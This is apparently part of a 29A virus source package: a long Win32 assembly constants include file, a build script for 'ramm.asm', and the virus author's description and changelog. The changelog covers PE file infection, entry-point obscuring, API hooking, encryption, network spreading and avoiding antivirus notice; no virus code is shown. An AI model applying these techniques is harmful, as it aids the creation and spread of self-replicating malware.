LB_ADDSTRING EQU 0180h


LB_INSERTSTRING EQU 0181h
LB_DELETESTRING EQU 0182h
LB_SELITEMRANGEEX EQU 0183h
LB_RESETCONTENT EQU 0184h
LB_SETSEL EQU 0185h
LB_SETCURSEL EQU 0186h
LB_GETSEL EQU 0187h
LB_GETCURSEL EQU 0188h
LB_GETTEXT EQU 0189h
LB_GETTEXTLEN EQU 018Ah
LB_GETCOUNT EQU 018Bh
LB_SELECTSTRING EQU 018Ch
LB_DIR EQU 018Dh
LB_GETTOPINDEX EQU 018Eh
LB_FINDSTRING EQU 018Fh
LB_GETSELCOUNT EQU 0190h
LB_GETSELITEMS EQU 0191h
LB_SETTABSTOPS EQU 0192h
LB_GETHORIZONTALEXTENT EQU 0193h
LB_SETHORIZONTALEXTENT EQU 0194h
LB_SETCOLUMNWIDTH EQU 0195h
LB_ADDFILE EQU 0196h
LB_SETTOPINDEX EQU 0197h
LB_GETITEMRECT EQU 0198h
LB_GETITEMDATA EQU 0199h
LB_SETITEMDATA EQU 019Ah
LB_SELITEMRANGE EQU 019Bh
LB_SETANCHORINDEX EQU 019Ch
LB_GETANCHORINDEX EQU 019Dh
LB_SETCARETINDEX EQU 019Eh
LB_GETCARETINDEX EQU 019Fh
LB_SETITEMHEIGHT EQU 01A0h
LB_GETITEMHEIGHT EQU 01A1h
LB_FINDSTRINGEXACT EQU 01A2h
LB_SETLOCALE EQU 01A5h
LB_GETLOCALE EQU 01A6h
LB_SETCOUNT EQU 01A7h
LB_INITSTORAGE EQU 01A8h
LB_ITEMFROMPOINT EQU 01A9h
LB_MULTIPLEADDSTRING EQU 01B1h
LB_MSGMAX EQU 01B0h

; Listbox Styles

LBS_NOTIFY EQU 0001h


LBS_SORT EQU 0002h
LBS_NOREDRAW EQU 0004h
LBS_MULTIPLESEL EQU 0008h
LBS_OWNERDRAWFIXED EQU 0010h
LBS_OWNERDRAWVARIABLE EQU 0020h
LBS_HASSTRINGS EQU 0040h
LBS_USETABSTOPS EQU 0080h
LBS_NOINTEGRALHEIGHT EQU 0100h
LBS_MULTICOLUMN EQU 0200h
LBS_WANTKEYBOARDINPUT EQU 0400h
LBS_EXTENDEDSEL EQU 0800h
LBS_DISABLENOSCROLL EQU 1000h
LBS_NODATA EQU 2000h
LBS_NOSEL EQU 4000h
LBS_STANDARD EQU (LBS_NOTIFY OR LBS_SORT OR WS_VSCROLL OR WS_BORDER)

; Combo Box return Values

CB_OKAY EQU 0
CB_ERR EQU -1
CB_ERRSPACE EQU -2

; Combo Box Notification Codes

CBN_ERRSPACE EQU -1
CBN_SELCHANGE EQU 1
CBN_DBLCLK EQU 2
CBN_SETFOCUS EQU 3
CBN_KILLFOCUS EQU 4
CBN_EDITCHANGE EQU 5
CBN_EDITUPDATE EQU 6
CBN_DROPDOWN EQU 7
CBN_CLOSEUP EQU 8
CBN_SELENDOK EQU 9
CBN_SELENDCANCEL EQU 10

; Combo Box styles

CBS_SIMPLE EQU 0001h


CBS_DROPDOWN EQU 0002h
CBS_DROPDOWNLIST EQU 0003h
CBS_OWNERDRAWFIXED EQU 0010h
CBS_OWNERDRAWVARIABLE EQU 0020h
CBS_AUTOHSCROLL EQU 0040h
CBS_OEMCONVERT EQU 0080h
CBS_SORT EQU 0100h
CBS_HASSTRINGS EQU 0200h
CBS_NOINTEGRALHEIGHT EQU 0400h
CBS_DISABLENOSCROLL EQU 0800h
CBS_UPPERCASE EQU 2000h
CBS_LOWERCASE EQU 4000h

;====== COMMON CONTROL STYLES =====

CCS_TOP = 00000001h
CCS_NOMOVEY = 00000002h
CCS_BOTTOM = 00000003h
CCS_NORESIZE = 00000004h
CCS_NOPARENTALIGN = 00000008h
CCS_ADJUSTABLE = 00000020h
CCS_NODIVIDER = 00000040h

; Combo Box messages

CB_GETEDITSEL EQU 0140h


CB_LIMITTEXT EQU 0141h
CB_SETEDITSEL EQU 0142h
CB_ADDSTRING EQU 0143h
CB_DELETESTRING EQU 0144h
CB_DIR EQU 0145h
CB_GETCOUNT EQU 0146h
CB_GETCURSEL EQU 0147h
CB_GETLBTEXT EQU 0148h
CB_GETLBTEXTLEN EQU 0149h
CB_INSERTSTRING EQU 014Ah
CB_RESETCONTENT EQU 014Bh
CB_FINDSTRING EQU 014Ch
CB_SELECTSTRING EQU 014Dh
CB_SETCURSEL EQU 014Eh
CB_SHOWDROPDOWN EQU 014Fh
CB_GETITEMDATA EQU 0150h
CB_SETITEMDATA EQU 0151h
CB_GETDROPPEDCONTROLRECT EQU 0152h
CB_SETITEMHEIGHT EQU 0153h
CB_GETITEMHEIGHT EQU 0154h
CB_SETEXTENDEDUI EQU 0155h
CB_GETEXTENDEDUI EQU 0156h
CB_GETDROPPEDSTATE EQU 0157h
CB_FINDSTRINGEXACT EQU 0158h
CB_SETLOCALE EQU 0159h
CB_GETLOCALE EQU 015Ah
CB_GETTOPINDEX EQU 015bh
CB_SETTOPINDEX EQU 015ch
CB_GETHORIZONTALEXTENT EQU 015dh
CB_SETHORIZONTALEXTENT EQU 015eh
CB_GETDROPPEDWIDTH EQU 015fh
CB_SETDROPPEDWIDTH EQU 0160h
CB_INITSTORAGE EQU 0161h
CB_MULTIPLEADDSTRING EQU 0163h
CB_MSGMAX EQU 0162h

SB_SETPARTS equ WM_USER+4


SB_SETTEXT equ WM_USER+1

TBSTATE_CHECKED = 01h
TBSTATE_PRESSED = 02h
TBSTATE_ENABLED = 04h
TBSTATE_HIDDEN = 08h
TBSTATE_INDETERMINATE = 10h
TBSTATE_WRAP = 20h

TBSTYLE_BUTTON = 00h
TBSTYLE_SEP = 01h
TBSTYLE_CHECK = 02h
TBSTYLE_GROUP = 04h
TBSTYLE_CHECKGROUP = TBSTYLE_GROUP+TBSTYLE_CHECK

TBSTYLE_TOOLTIPS = 0100h
TBSTYLE_WRAPABLE = 0200h
TBSTYLE_ALTDRAG = 0400h

TB_ENABLEBUTTON = (WM_USER + 1)
TB_CHECKBUTTON = (WM_USER + 2)
TB_PRESSBUTTON = (WM_USER + 3)
TB_HIDEBUTTON = (WM_USER + 4)
TB_INDETERMINATE = (WM_USER + 5)
TB_ISBUTTONENABLED = (WM_USER + 9)
TB_ISBUTTONCHECKED = (WM_USER + 10)
TB_ISBUTTONPRESSED = (WM_USER + 11)
TB_ISBUTTONHIDDEN = (WM_USER + 12)
TB_ISBUTTONINDETERMINATE = (WM_USER + 13)
TB_SETSTATE = (WM_USER + 17)
TB_GETSTATE = (WM_USER + 18)
TB_ADDBITMAP = (WM_USER + 19)
TB_SAVERESTOREA = (WM_USER + 26)
TB_SAVERESTOREW = (WM_USER + 76)
TB_CUSTOMIZE = (WM_USER + 27)
TB_ADDSTRINGA = (WM_USER + 28)
TB_ADDSTRINGW = (WM_USER + 77)
TB_GETITEMRECT = (WM_USER + 29)
TB_BUTTONSTRUCTSIZE = (WM_USER + 30)
TB_SETBUTTONSIZE = (WM_USER + 31)
TB_SETBITMAPSIZE = (WM_USER + 32)
TB_AUTOSIZE = (WM_USER + 33)
TB_GETTOOLTIPS = (WM_USER + 35)
TB_SETTOOLTIPS = (WM_USER + 36)
TB_SETPARENT = (WM_USER + 37)
TB_SETROWS = (WM_USER + 39)
TB_GETROWS = (WM_USER + 40)
TB_SETCMDID = (WM_USER + 42)
TB_CHANGEBITMAP = (WM_USER + 43)
TB_GETBITMAP = (WM_USER + 44)
TB_GETBUTTONTEXTA = (WM_USER + 45)
TB_GETBUTTONTEXTW = (WM_USER + 75)
TB_REPLACEBITMAP = (WM_USER + 46)

; Scroll Bar Styles

SBS_HORZ EQU 0000h


SBS_VERT EQU 0001h
SBS_TOPALIGN EQU 0002h
SBS_LEFTALIGN EQU 0002h
SBS_BOTTOMALIGN EQU 0004h
SBS_RIGHTALIGN EQU 0004h
SBS_SIZEBOXTOPLEFTALIGN EQU 0002h
SBS_SIZEBOXBOTTOMRIGHTALIGN EQU 0004h
SBS_SIZEBOX EQU 0008h
SBS_SIZEGRIP EQU 0010h

; Scroll bar messages

SBM_SETPOS EQU 00E0h


SBM_GETPOS EQU 00E1h
SBM_SETRANGE EQU 00E2h
SBM_SETRANGEREDRAW EQU 00E6h
SBM_GETRANGE EQU 00E3h
SBM_ENABLE_ARROWS EQU 00E4h
SBM_SETSCROLLINFO EQU 00E9h
SBM_GETSCROLLINFO EQU 00EAh

SIF_RANGE EQU 0001h


SIF_PAGE EQU 0002h
SIF_POS EQU 0004h
SIF_DISABLENOSCROLL EQU 0008h
SIF_TRACKPOS EQU 0010h
SIF_ALL EQU (SIF_RANGE OR SIF_PAGE OR SIF_POS OR SIF_TRACKPOS)

; Parameter for SystemParametersInfo()

SPI_GETBEEP EQU 1
SPI_SETBEEP EQU 2
SPI_GETMOUSE EQU 3
SPI_SETMOUSE EQU 4
SPI_GETBORDER EQU 5
SPI_SETBORDER EQU 6
SPI_GETKEYBOARDSPEED EQU 10
SPI_SETKEYBOARDSPEED EQU 11
SPI_LANGDRIVER EQU 12
SPI_ICONHORIZONTALSPACING EQU 13
SPI_GETSCREENSAVETIMEOUT EQU 14
SPI_SETSCREENSAVETIMEOUT EQU 15
SPI_GETSCREENSAVEACTIVE EQU 16
SPI_SETSCREENSAVEACTIVE EQU 17
SPI_GETGRIDGRANULARITY EQU 18
SPI_SETGRIDGRANULARITY EQU 19
SPI_SETDESKWALLPAPER EQU 20
SPI_SETDESKPATTERN EQU 21
SPI_GETKEYBOARDDELAY EQU 22
SPI_SETKEYBOARDDELAY EQU 23
SPI_ICONVERTICALSPACING EQU 24
SPI_GETICONTITLEWRAP EQU 25
SPI_SETICONTITLEWRAP EQU 26
SPI_GETMENUDROPALIGNMENT EQU 27
SPI_SETMENUDROPALIGNMENT EQU 28
SPI_SETDOUBLECLKWIDTH EQU 29
SPI_SETDOUBLECLKHEIGHT EQU 30
SPI_GETICONTITLELOGFONT EQU 31
SPI_SETDOUBLECLICKTIME EQU 32
SPI_SETMOUSEBUTTONSWAP EQU 33
SPI_SETICONTITLELOGFONT EQU 34
SPI_GETFASTTASKSWITCH EQU 35
SPI_SETFASTTASKSWITCH EQU 36
SPI_SETDRAGFULLWINDOWS EQU 37
SPI_GETDRAGFULLWINDOWS EQU 38
SPI_GETNONCLIENTMETRICS EQU 41
SPI_SETNONCLIENTMETRICS EQU 42
SPI_GETMINIMIZEDMETRICS EQU 43
SPI_SETMINIMIZEDMETRICS EQU 44
SPI_GETICONMETRICS EQU 45
SPI_SETICONMETRICS EQU 46
SPI_SETWORKAREA EQU 47
SPI_GETWORKAREA EQU 48
SPI_SETPENWINDOWS EQU 49
SPI_GETHIGHCONTRAST EQU 66
SPI_SETHIGHCONTRAST EQU 67
SPI_GETKEYBOARDPREF EQU 68
SPI_SETKEYBOARDPREF EQU 69
SPI_GETSCREENREADER EQU 70
SPI_SETSCREENREADER EQU 71
SPI_GETANIMATION EQU 72
SPI_SETANIMATION EQU 73
SPI_GETFONTSMOOTHING EQU 74
SPI_SETFONTSMOOTHING EQU 75
SPI_SETDRAGWIDTH EQU 76
SPI_SETDRAGHEIGHT EQU 77
SPI_SETHANDHELD EQU 78
SPI_GETLOWPOWERTIMEOUT EQU 79
SPI_GETPOWEROFFTIMEOUT EQU 80
SPI_SETLOWPOWERTIMEOUT EQU 81
SPI_SETPOWEROFFTIMEOUT EQU 82
SPI_GETLOWPOWERACTIVE EQU 83
SPI_GETPOWEROFFACTIVE EQU 84
SPI_SETLOWPOWERACTIVE EQU 85
SPI_SETPOWEROFFACTIVE EQU 86
SPI_SETCURSORS EQU 87
SPI_SETICONS EQU 88
SPI_GETDEFAULTINPUTLANG EQU 89
SPI_SETDEFAULTINPUTLANG EQU 90
SPI_SETLANGTOGGLE EQU 91
SPI_GETWINDOWSEXTENSION EQU 92
SPI_SETMOUSETRAILS EQU 93
SPI_GETMOUSETRAILS EQU 94
SPI_SETSCREENSAVERRUNNING EQU 97
SPI_SCREENSAVERRUNNING EQU SPI_SETSCREENSAVERRUNNING
SPI_GETFILTERKEYS EQU 50
SPI_SETFILTERKEYS EQU 51
SPI_GETTOGGLEKEYS EQU 52
SPI_SETTOGGLEKEYS EQU 53
SPI_GETMOUSEKEYS EQU 54
SPI_SETMOUSEKEYS EQU 55
SPI_GETSHOWSOUNDS EQU 56
SPI_SETSHOWSOUNDS EQU 57
SPI_GETSTICKYKEYS EQU 58
SPI_SETSTICKYKEYS EQU 59
SPI_GETACCESSTIMEOUT EQU 60
SPI_SETACCESSTIMEOUT EQU 61
SPI_GETSERIALKEYS EQU 62
SPI_SETSERIALKEYS EQU 63
SPI_GETSOUNDSENTRY EQU 64
SPI_SETSOUNDSENTRY EQU 65
SPI_GETSNAPTODEFBUTTON EQU 95
SPI_SETSNAPTODEFBUTTON EQU 96
SPI_GETMOUSEHOVERWIDTH EQU 98
SPI_SETMOUSEHOVERWIDTH EQU 99
SPI_GETMOUSEHOVERHEIGHT EQU 100
SPI_SETMOUSEHOVERHEIGHT EQU 101
SPI_GETMOUSEHOVERTIME EQU 102
SPI_SETMOUSEHOVERTIME EQU 103
SPI_GETWHEELSCROLLLINES EQU 104
SPI_SETWHEELSCROLLLINES EQU 105
SPI_GETMENUSHOWDELAY EQU 106
SPI_SETMENUSHOWDELAY EQU 107
SPI_GETSHOWIMEUI EQU 110
SPI_SETSHOWIMEUI EQU 111
SPI_GETMOUSESPEED EQU 112
SPI_SETMOUSESPEED EQU 113
SPI_GETSCREENSAVERRUNNING EQU 114
SPI_GETACTIVEWINDOWTRACKING EQU 1000h
SPI_SETACTIVEWINDOWTRACKING EQU 1001h
SPI_GETMENUANIMATION EQU 1002h
SPI_SETMENUANIMATION EQU 1003h
SPI_GETCOMBOBOXANIMATION EQU 1004h
SPI_SETCOMBOBOXANIMATION EQU 1005h
SPI_GETLISTBOXSMOOTHSCROLLING EQU 1006h
SPI_SETLISTBOXSMOOTHSCROLLING EQU 1007h
SPI_GETGRADIENTCAPTIONS EQU 1008h
SPI_SETGRADIENTCAPTIONS EQU 1009h
SPI_GETKEYBOARDCUES EQU 100Ah
SPI_SETKEYBOARDCUES EQU 100Bh
SPI_GETMENUUNDERLINES EQU SPI_GETKEYBOARDCUES
SPI_SETMENUUNDERLINES EQU SPI_SETKEYBOARDCUES
SPI_GETACTIVEWNDTRKZORDER EQU 100Ch
SPI_SETACTIVEWNDTRKZORDER EQU 100Dh
SPI_GETHOTTRACKING EQU 100Eh
SPI_SETHOTTRACKING EQU 100Fh
SPI_GETMENUFADE EQU 1012h
SPI_SETMENUFADE EQU 1013h
SPI_GETSELECTIONFADE EQU 1014h
SPI_SETSELECTIONFADE EQU 1015h
SPI_GETTOOLTIPANIMATION EQU 1016h
SPI_SETTOOLTIPANIMATION EQU 1017h
SPI_GETTOOLTIPFADE EQU 1018h
SPI_SETTOOLTIPFADE EQU 1019h
SPI_GETCURSORSHADOW EQU 101Ah
SPI_SETCURSORSHADOW EQU 101Bh
SPI_GETUIEFFECTS EQU 103Eh
SPI_SETUIEFFECTS EQU 103Fh
SPI_GETFOREGROUNDLOCKTIMEOUT EQU 2000h
SPI_SETFOREGROUNDLOCKTIMEOUT EQU 2001h
SPI_GETACTIVEWNDTRKTIMEOUT EQU 2002h
SPI_SETACTIVEWNDTRKTIMEOUT EQU 2003h
SPI_GETFOREGROUNDFLASHCOUNT EQU 2004h
SPI_SETFOREGROUNDFLASHCOUNT EQU 2005h
SPI_GETCARETWIDTH EQU 2006h
SPI_SETCARETWIDTH EQU 2007h

ARW_BOTTOMLEFT EQU 0000h


ARW_BOTTOMRIGHT EQU 0001h
ARW_TOPLEFT EQU 0002h
ARW_TOPRIGHT EQU 0003h
ARW_STARTMASK EQU 0003h
ARW_STARTRIGHT EQU 0001h
ARW_STARTTOP EQU 0002h
ARW_LEFT EQU 0000h
ARW_RIGHT EQU 0000h
ARW_UP EQU 0004h
ARW_DOWN EQU 0004h
ARW_HIDE EQU 0008h

; flags for SERIALKEYS dwFlags field

SERKF_SERIALKEYSON EQU 00000001h


SERKF_AVAILABLE EQU 00000002h
SERKF_INDICATOR EQU 00000004h

; NMHDR

NMHDR struc
hwndFrom UINT ?
idFrom UINT ?
code UINT ?
NMHDR ends

; TOOLTIPTEXT

TOOLTIPTEXT struc
hdr NMHDR <?>
lpszText ULONG ?
szText db 80 dup(?)
hinst ULONG ?
uFlags UINT ?
TOOLTIPTEXT ends

TTN_NEEDTEXT equ 0FFFFFDF8h

; flags for HIGHCONTRAST dwFlags field

HCF_HIGHCONTRASTON EQU 00000001h


HCF_AVAILABLE EQU 00000002h
HCF_HOTKEYACTIVE EQU 00000004h
HCF_CONFIRMHOTKEY EQU 00000008h
HCF_HOTKEYSOUND EQU 00000010h
HCF_INDICATOR EQU 00000020h
HCF_HOTKEYAVAILABLE EQU 00000040h

; Flags for ChangeDisplaySettings

CDS_UPDATEREGISTRY EQU 00000001h


CDS_TEST EQU 00000002h
CDS_FULLSCREEN EQU 00000004h
CDS_GLOBAL EQU 00000008h
CDS_SET_PRIMARY EQU 00000010h
CDS_RESET EQU 40000000h
CDS_NORESET EQU 10000000h

; Return values for ChangeDisplaySettings

DISP_CHANGE_SUCCESSFUL EQU 0
DISP_CHANGE_RESTART EQU 1
DISP_CHANGE_FAILED EQU -1
DISP_CHANGE_BADMODE EQU -2
DISP_CHANGE_NOTUPDATED EQU -3
DISP_CHANGE_BADFLAGS EQU -4
DISP_CHANGE_BADPARAM EQU -5

; dwFlags for SetWinEventHook

WINEVENT_OUTOFCONTEXT EQU 0000h ; Events are ASYNC


WINEVENT_SKIPOWNTHREAD EQU 0001h ; Don't call back for events on installer's thread
WINEVENT_SKIPOWNPROCESS EQU 0002h ; Don't call back for events on installer's process
WINEVENT_INCONTEXT EQU 0004h ; Events are SYNC, this causes your dll to be injected
into every process

; Reserved IDs for system objects

OBJID_WINDOW EQU 000000000h


OBJID_SYSMENU EQU 0FFFFFFFFh
OBJID_TITLEBAR EQU 0FFFFFFFEh
OBJID_MENU EQU 0FFFFFFFDh
OBJID_CLIENT EQU 0FFFFFFFCh
OBJID_VSCROLL EQU 0FFFFFFFBh
OBJID_HSCROLL EQU 0FFFFFFFAh
OBJID_SIZEGRIP EQU 0FFFFFFF9h
OBJID_CARET EQU 0FFFFFFF8h
OBJID_CURSOR EQU 0FFFFFFF7h
OBJID_ALERT EQU 0FFFFFFF6h
OBJID_SOUND EQU 0FFFFFFF5h

; EVENT DEFINITION

EVENT_MIN EQU 00000001h


EVENT_MAX EQU 7FFFFFFFh

EVENT_OBJECT_NAMECHANGE EQU 800Ch ; hwnd + ID + idChild is item w/ name change


EVENT_OBJECT_DESCRIPTIONCHANGE EQU 800Dh ; hwnd + ID + idChild is item w/ desc change
EVENT_OBJECT_VALUECHANGE EQU 800Eh ; hwnd + ID + idChild is item w/ value change
EVENT_OBJECT_PARENTCHANGE EQU 800Fh ; hwnd + ID + idChild is item w/ new parent
EVENT_OBJECT_HELPCHANGE EQU 8010h ; hwnd + ID + idChild is item w/ help change
EVENT_OBJECT_DEFACTIONCHANGE EQU 8011h ; hwnd + ID + idChild is item w/ def action
change
EVENT_OBJECT_ACCELERATORCHANGE EQU 8012h ; hwnd + ID + idChild is item w/ keybd accel
change

; System Sounds (idChild of system SOUND notification)

SOUND_SYSTEM_STARTUP EQU 1
SOUND_SYSTEM_SHUTDOWN EQU 2
SOUND_SYSTEM_BEEP EQU 3
SOUND_SYSTEM_ERROR EQU 4
SOUND_SYSTEM_QUESTION EQU 5
SOUND_SYSTEM_WARNING EQU 6
SOUND_SYSTEM_INFORMATION EQU 7
SOUND_SYSTEM_MAXIMIZE EQU 8
SOUND_SYSTEM_MINIMIZE EQU 9
SOUND_SYSTEM_RESTOREUP EQU 10
SOUND_SYSTEM_RESTOREDOWN EQU 11
SOUND_SYSTEM_APPSTART EQU 12
SOUND_SYSTEM_FAULT EQU 13
SOUND_SYSTEM_APPEND EQU 14
SOUND_SYSTEM_MENUCOMMAND EQU 15
SOUND_SYSTEM_MENUPOPUP EQU 16
CSOUND_SYSTEM EQU 16

; System Alerts (indexChild of system ALERT notification)

ALERT_SYSTEM_INFORMATIONAL EQU 1 ; MB_INFORMATION


ALERT_SYSTEM_WARNING EQU 2 ; MB_WARNING
ALERT_SYSTEM_ERROR EQU 3 ; MB_ERROR
ALERT_SYSTEM_QUERY EQU 4 ; MB_QUESTION
ALERT_SYSTEM_CRITICAL EQU 5 ; HardSysErrBox
CALERT_SYSTEM EQU 6

GUI_CARETBLINKING EQU 00000001h


GUI_INMOVESIZE EQU 00000002h
GUI_INMENUMODE EQU 00000004h
GUI_SYSTEMMENUMODE EQU 00000008h
GUI_POPUPMENUMODE EQU 00000010h

STATE_SYSTEM_UNAVAILABLE EQU 00000001h ; Disabled


STATE_SYSTEM_SELECTED EQU 00000002h
STATE_SYSTEM_FOCUSED EQU 00000004h
STATE_SYSTEM_PRESSED EQU 00000008h
STATE_SYSTEM_CHECKED EQU 00000010h
STATE_SYSTEM_MIXED EQU 00000020h ; 3-state checkbox or toolbar button
STATE_SYSTEM_INDETERMINATE EQU STATE_SYSTEM_MIXED
STATE_SYSTEM_READONLY EQU 00000040h
STATE_SYSTEM_HOTTRACKED EQU 00000080h
STATE_SYSTEM_DEFAULT EQU 00000100h
STATE_SYSTEM_EXPANDED EQU 00000200h
STATE_SYSTEM_COLLAPSED EQU 00000400h
STATE_SYSTEM_BUSY EQU 00000800h
STATE_SYSTEM_FLOATING EQU 00001000h ; Children "owned" not "contained" by parent
STATE_SYSTEM_MARQUEED EQU 00002000h
STATE_SYSTEM_ANIMATED EQU 00004000h
STATE_SYSTEM_INVISIBLE EQU 00008000h
STATE_SYSTEM_OFFSCREEN EQU 00010000h
STATE_SYSTEM_SIZEABLE EQU 00020000h
STATE_SYSTEM_MOVEABLE EQU 00040000h
STATE_SYSTEM_SELFVOICING EQU 00080000h
STATE_SYSTEM_FOCUSABLE EQU 00100000h
STATE_SYSTEM_SELECTABLE EQU 00200000h
STATE_SYSTEM_LINKED EQU 00400000h
STATE_SYSTEM_TRAVERSED EQU 00800000h
STATE_SYSTEM_MULTISELECTABLE EQU 01000000h ; Supports multiple selection
STATE_SYSTEM_EXTSELECTABLE EQU 02000000h ; Supports extended selection
STATE_SYSTEM_ALERT_LOW EQU 04000000h ; This information is of low priority
STATE_SYSTEM_ALERT_MEDIUM EQU 08000000h ; This information is of medium priority
STATE_SYSTEM_ALERT_HIGH EQU 10000000h ; This information is of high priority
STATE_SYSTEM_REDUNDANT EQU 20000000h ; this child object's data is also
represented by it's parent
STATE_SYSTEM_ONLY_REDUNDANT EQU 40000000h ; this object has children, but they are all
redundant
STATE_SYSTEM_VALID EQU 7FFFFFFFh

CCHILDREN_TITLEBAR EQU 5
CCHILDREN_SCROLLBAR EQU 5
CURSOR_SHOWING EQU 00000001h

; Commands to pass to WinHelp()

HELP_CONTEXT = 0001h
HELP_QUIT = 0002h
HELP_INDEX = 0003h
HELP_CONTENTS = 0003h
HELP_HELPONHELP = 0004h
HELP_SETINDEX = 0005h
HELP_SETCONTENTS = 0005h
HELP_CONTEXTPOPUP = 0008h
HELP_FORCEFILE = 0009h
HELP_KEY = 0101h
HELP_COMMAND = 0102h
HELP_PARTIALKEY = 0105h
HELP_MULTIKEY = 0201h
HELP_SETWINPOS = 0203h
HELP_CONTEXTMENU = 000ah
HELP_FINDER = 000bh
HELP_WM_HELP = 000ch
HELP_SETPOPUP_POS = 000dh

HELP_TCARD = 8000h
HELP_TCARD_DATA = 0010h
HELP_TCARD_OTHER_CALLER = 0011h

IDH_NO_HELP = 28440
IDH_MISSING_CONTEXT = 28441
IDH_GENERIC_HELP_BUTTON = 28442
IDH_OK = 28443
IDH_CANCEL = 28444
IDH_HELP = 28445

OSVERSIONINFOA STRUCT
dwOSVersionInfoSize DD ?
dwMajorVersion DD ?
dwMinorVersion DD ?
dwBuildNumber DD ?
dwPlatformId DD ?
szCSDVersion DB 128 DUP(?)
OSVERSIONINFOA ENDS

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ END OF FILE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

; wasn't it obvious ? ;-)


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[W32US_LJ.INC]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[A.BAT]ÄÄÄ
@tasm32 -m3 -ml ramm.asm
@tlink32 -Tpe -aa -c -x ramm,,,d:\langs\libs\import32.lib
@pewrsec ramm.exe
@del *.obj
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[A.BAT]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[DESC.TXT]ÄÄÄ
comment $
ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
ÛÛß ßÛß ßÛß ßÛÛ
ÛÛ Û Û Û Û Û ÛÛ
ÛÛÛßßß ÜÛÜ Û ÛÛ
ÛÛ ßßßßÛßßßß Û Û ÛÛ
ÛÛ Û ÜÛ Û ÛÛ
ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ

ÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜ ÜÜÜÜÜ ÜÜÜ ÜÜÜ


Û ÜÜÜ Û Û ÜÜÜ Û Û Ü Ü Û Û Ü Ü Û Û ÜÜÜÜÛ ÜÛßÛÜ Û ÜÜÜÜÛ ÛÜ ÜÛ Û ßÛÛ Û
Û Ü ÜÜÛ Û ÜÜÜ Û Û Û Û Û Û Û Û Û ÛÜÜÜÜ Û ÛÜ ÜÛ Û ÜÜÜÛÜ ÜÛ ÛÜ Û ÛÜß Û
ÛÜÛÜÜÜÛ ÛÜÛ ÛÜÛ ÛÜÛßÛÜÛ ÛÜÛßÛÜÛ ÛÜÜÜÜÜÛ ßßß ÛÜÜÜÜÜÛ ÛÜÜÜÛ ÛÜÛßÛÜÛ

v4.0

= Final Release =

(c) Lord Julus / 29A (Jul 2000)

===================================================================
DISCLAIMER

This is the source code of a virus. Possesing, using, spreading of


this source code, compiling and linking it, possesing, using and
spreading of the executable form is illegal and it is forbidden.
Should you do such a thing, the author may not be held responsible
for any damage that occured from the use of this source code. The
actual purpose of this source code is for educational purposes and
as an object of study. This source code comes as is and the author
cannot be held responsible for the existance of other modified
variants of this code.
====================================================================
History:

09 Sep 2000 - Today I made a small improvement. When the dropper roams
the net onto another computer it remains in the windows
dir and it represents a weak point which might be noticed
by an av. So, now, the virus will smartly remove either
the dropper or the entry in the win.ini file if one of
them is missing. If both are there, they are left alone
because they will remove eachother. Added Pstores.exe to
the black list. Thanks to Evul for pointing me out that
it is a rather peculiar file and cannot be safely
infected.

22 Jul 2000 - The virus has moved up to version 4.0. Today I added
the network infector. It comes in a separate thread.
For the moment looks like everything works fine. Will
add a timer to it so that it does not hang in huge
networks... Virus is above 14k now... Waiting for the
LZ!

18 Jul 2000 - Fixed a bug in the section increase algorithm: if you


want to have a good compatibility you NEED to place the
viral code exactly at the end of file and NOT at the
end of the VirtualSize or SizeOfRawData as it appears
in the section header, because many files get their
real size calculated at load time in some way.
HURRAY!!! YES!! I fixed a shitty bug! If you do section
add you MUST check also if any directory VA follows
immediately the last section header so that you will
not overwrite it. Now almost all files work ok under
NT!!!! However, I don't seem to be able to make
outlook.exe get infected so I put it on the black list.
The other MsOffice executables get infected correctly
on both Win9x and WinNT.

17 Jul 2000 - Have started some optimizations and proceduralizations


(;-)))). The virus is quickly going towards 13k so I
am quite anxious to implement my new LZ routine to
decrease it's size. I fixed a bug: WinNT NEEDS the
size of headers value to be aligned to file alignment.

14 Jul 2000 - Worked heavily on the WindowsNT compatibility. In this


way I was able to spot 2 bugs in the infection routine,
one regarding RVA of the new section and one regarding
the situation when the imports cannot be found by the api
hooker. Still thinking if I should rearrange relocs also?
Now files are loaded under WindowsNT (NT image is correct)
but they cannot fully initialize. Will research some
more.

03 Jun 2000 - Added an encryption layer with no key, just a rol/ror


routine on parity. Also added some MMX commands. Fixed
a few things.

22 May 2000 - Added EPO on files that have the viral code outside the
code section. Basically from now on the entry point stays
only into the code section. The epo is not actually epo,
because as I started to code it I decided to make it very
complicated so I will include the complicated part in the
next release. It will be the so called LJILE32 <Lord
Julus' Instruction Length Engine 32>. This engine will
allow me to have an exact location of the opcode for each
instruction so we will be able to look up any call, jump
or conditional jump to place our code call there. So for
this version only a jump at the original eip.

21 May 2000 - Fixed a bug in the api hooker... I forgot that some import
sections have a null pointer to names. Also added the
infection by last section increase for files who cannot
be infected otherwise. All files should be touched now.
Also I fixed the problem with the payload window not
closing after the process closed. I solved half of it
as some files like wordpad.exe still have this problem.

